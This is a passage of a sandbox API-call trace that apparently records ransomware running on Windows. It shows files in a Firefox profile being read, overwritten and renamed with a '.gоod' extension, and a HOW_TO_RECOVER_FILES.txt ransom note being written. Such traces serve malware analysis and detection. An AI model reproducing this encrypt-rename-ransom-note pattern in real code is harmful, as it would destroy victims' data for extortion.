SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0223.777] GetFileType (hFile=0x808) returned 0x1 [0223.777] ReadFile (in: hFile=0x808, lpBuffer=0x35f4d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edb78, lpOverlapped=0x0 | out: lpBuffer=0x35f4d00*, lpNumberOfBytesRead=0x209edb78*=0x1000, lpOverlapped=0x0) returned 1 [0223.805] CloseHandle (hObject=0x808) returned 1 [0223.805] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", lpFilePart=0x0) returned 0x72 [0223.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0223.805] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\ewhnxiwqflgqxsbz3gasxq==.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.805] GetFileType (hFile=0x808) returned 0x1 [0223.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0223.805] GetFileType (hFile=0x808) returned 0x1 [0223.805] WriteFile (in: hFile=0x808, lpBuffer=0x35f39e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x209edc28, lpOverlapped=0x0 | out: lpBuffer=0x35f39e0*, lpNumberOfBytesWritten=0x209edc28*=0x1010, lpOverlapped=0x0) returned 1 [0223.805] CloseHandle (hObject=0x808) returned 1 [0223.805] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico", lpFilePart=0x0) returned 0x72 [0223.805] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico.gоod", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico.gоod", lpFilePart=0x0) returned 0x77 [0223.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edb60) returned 1 [0223.806] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\ewhnxiwqflgqxsbz3gasxq==.ico"), fInfoLevelId=0x0, lpFileInformation=0x209edc40 | out: lpFileInformation=0x209edc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x819b8c4b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1597)) returned 1 [0223.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb20) returned 1 [0223.806] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\ewhnxiwqflgqxsbz3gasxq==.ico"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\EwHNXIWqFLgqXSbz3gaSXQ==.ico.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\ewhnxiwqflgqxsbz3gasxq==.ico.gоod")) returned 1 [0223.810] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico", lpFilePart=0x0) returned 0x72 [0223.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edba0) returned 1 [0223.811] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\q2iyo6szos7rh3snwljy8w==.ico"), fInfoLevelId=0x0, lpFileInformation=0x36723a0 | out: lpFileInformation=0x36723a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e9)) returned 1 [0223.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb60) returned 1 [0223.811] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico", nBufferLength=0x105, lpBuffer=0x209ed530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico", lpFilePart=0x0) returned 0x72 [0223.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eda50) returned 1 [0223.811] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\q2iyo6szos7rh3snwljy8w==.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0223.811] GetFileType (hFile=0x768) returned 0x1 [0223.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed9c0) returned 1 [0223.811] GetFileType (hFile=0x768) returned 0x1 [0223.811] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x209edbf8 | out: lpFileSizeHigh=0x209edbf8*=0x0) returned 0x5e9 [0223.811] ReadFile (in: hFile=0x768, lpBuffer=0x3672d28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edb28, lpOverlapped=0x0 | out: lpBuffer=0x3672d28*, lpNumberOfBytesRead=0x209edb28*=0x5e9, lpOverlapped=0x0) returned 1 [0223.812] CloseHandle (hObject=0x768) returned 1 [0223.839] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico", nBufferLength=0x105, lpBuffer=0x209ed530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico", lpFilePart=0x0) returned 0x72 [0223.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eda50) returned 1 [0223.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\q2iyo6szos7rh3snwljy8w==.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0223.840] GetFileType (hFile=0x768) returned 0x1 [0223.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ed9c0) returned 1 [0223.840] GetFileType (hFile=0x768) returned 0x1 [0223.840] WriteFile (in: hFile=0x768, lpBuffer=0x36ed5f0*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x209eda38, lpOverlapped=0x0 | out: lpBuffer=0x36ed5f0*, lpNumberOfBytesWritten=0x209eda38*=0x5f0, lpOverlapped=0x0) returned 1 [0223.841] CloseHandle (hObject=0x768) returned 1 [0223.841] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico", lpFilePart=0x0) returned 0x72 [0223.841] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico.gоod", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico.gоod", lpFilePart=0x0) returned 0x77 [0223.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edb60) returned 1 [0223.841] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\q2iyo6szos7rh3snwljy8w==.ico"), fInfoLevelId=0x0, lpFileInformation=0x209edc40 | out: lpFileInformation=0x209edc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x81a32861, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5f0)) returned 1 [0223.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb20) returned 1 [0223.841] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\q2iyo6szos7rh3snwljy8w==.ico"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\q2iyo6szos7rh3snwljy8w==.ico.gоod")) returned 1 [0223.842] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0223.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edd60) returned 1 [0223.842] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0223.844] GetFileType (hFile=0x768) returned 0x1 [0223.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcd0) returned 1 [0223.844] GetFileType (hFile=0x768) returned 0x1 [0223.850] WriteFile (in: hFile=0x768, lpBuffer=0x36f0df8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ede28, lpOverlapped=0x0 | out: lpBuffer=0x36f0df8*, lpNumberOfBytesWritten=0x209ede28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.851] CloseHandle (hObject=0x768) returned 1 [0223.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eddf0) returned 1 [0223.851] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache", nBufferLength=0x105, lpBuffer=0x209ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache", lpFilePart=0x0) returned 0x54 [0223.851] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\*", lpFindFileData=0x209edb10 | out: lpFindFileData=0x209edb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfcae9ac, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0223.852] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfcae9ac, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.852] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x143dfde4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.sqlite", cAlternateFileName="INDEX~1.SQL")) returned 1 [0223.852] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.852] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0223.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edd30) returned 1 [0223.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcf0) returned 1 [0223.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eddf0) returned 1 [0223.853] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache", nBufferLength=0x105, lpBuffer=0x209ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache", lpFilePart=0x0) returned 0x54 [0223.853] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\*", lpFindFileData=0x209edb10 | out: lpFindFileData=0x209edb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfcae9ac, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0223.853] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfcae9ac, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.854] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x143dfde4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.sqlite", cAlternateFileName="INDEX~1.SQL")) returned 1 [0223.854] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x143dfde4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.sqlite", cAlternateFileName="INDEX~1.SQL")) returned 0 [0223.855] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0223.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edd30) returned 1 [0223.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcf0) returned 1 [0223.855] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", lpFilePart=0x0) returned 0x61 [0223.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edba0) returned 1 [0223.855] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\index.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x37005d0 | out: lpFileInformation=0x37005d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x143dfde4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x40000)) returned 1 [0223.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb60) returned 1 [0223.855] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", lpFilePart=0x0) returned 0x61 [0223.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0223.855] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\index.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0223.855] GetFileType (hFile=0x768) returned 0x1 [0223.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0223.855] GetFileType (hFile=0x768) returned 0x1 [0223.856] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x209edbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x209edbf8*=0) returned 0x1000 [0223.856] ReadFile (in: hFile=0x768, lpBuffer=0x3700a58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3700a58*, lpNumberOfBytesRead=0x209edbc8*=0x1000, lpOverlapped=0x0) returned 1 [0223.857] CloseHandle (hObject=0x768) returned 1 [0223.858] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", lpFilePart=0x0) returned 0x61 [0223.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0223.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\index.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0223.858] GetFileType (hFile=0x768) returned 0x1 [0223.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0223.858] GetFileType (hFile=0x768) returned 0x1 [0223.858] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x209edbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x209edbf8*=0) returned 0x40000 [0223.858] WriteFile (in: hFile=0x768, lpBuffer=0x3701f68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x209edae8, lpOverlapped=0x0 | out: lpBuffer=0x3701f68*, lpNumberOfBytesWritten=0x209edae8*=0x10, lpOverlapped=0x0) returned 1 [0223.860] CloseHandle (hObject=0x768) returned 1 [0223.860] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", lpFilePart=0x0) returned 0x61 [0223.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0223.860] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\index.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0223.861] GetFileType (hFile=0x768) returned 0x1 [0223.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0223.861] GetFileType (hFile=0x768) returned 0x1 [0223.861] ReadFile (in: hFile=0x768, lpBuffer=0x3704260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edb78, lpOverlapped=0x0 | out: lpBuffer=0x3704260*, lpNumberOfBytesRead=0x209edb78*=0x1000, lpOverlapped=0x0) returned 1 [0223.891] CloseHandle (hObject=0x768) returned 1 [0223.891] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite", lpFilePart=0x0) returned 0x61 [0223.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0223.891] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\index.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, 